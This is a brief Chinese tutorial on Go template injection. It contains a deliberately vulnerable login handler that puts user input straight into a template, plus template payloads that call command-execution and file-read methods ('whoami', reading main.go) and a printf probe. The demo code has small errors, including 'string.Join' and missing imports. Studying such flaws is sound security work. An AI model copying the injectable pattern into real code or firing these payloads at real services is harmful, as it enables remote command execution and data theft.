Go模板注入

模板注入Demo:


package main  
  
import (  
    "fmt"  
    "html/template"    "net/http")  
  
type User struct {  
    Id     int  
    Name   string  
    Passwd string  
}  
  
func StringTplTest(w http.ResponseWriter, r *http.Request) {  
    user := &User{1, "admin", "123456"}  
    r.ParseForm()                              // 通过这个函数将提交的表单,将其解析为一个键值对的形式,存储在r.Postparam  
    arg := string.Join(r.PostForm["name"], "") // 用户输入的地方 name post方法  
  
    tp1l := fmt.Sprintf(`<h1>Hi, ` + arg + `Your name is ` + arg + `!`)  
  
    html, err := template.New("login").Parse(tp1l)  
    // 创建一个为login的模板,并将tp1l字符串放入这个模板中进行渲染  Parse 是进行渲染  
    html = template.Must(html, err)  
    //  
    html.Execute(w, user)  
}  
  
func main() {  
    service := http.Server{  
       Addr: "127.0.0.1:8080",  
    }  
    //这个是启动的服务  
    http.HandleFunc("/login", StringTplTest)  
    //  
  
    service.ListenAndServe()  
}


go语言和其他语言一样都是通过调用危险函数方法来实现rce

func (u User) Secret(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}
{{.Secret "whoami"}}

调用危险函数实现任意文件读取

func (u *User) FileRead(File string) string {  
    data, err := ioutil.ReadFile(File)  
    if err != nil {  
       fmt.Println("File read error")  
    }  
    return string(data)  
}
{{.FileRead "main.go"}}

还可以这样来验证:


	{{printf "harder"}}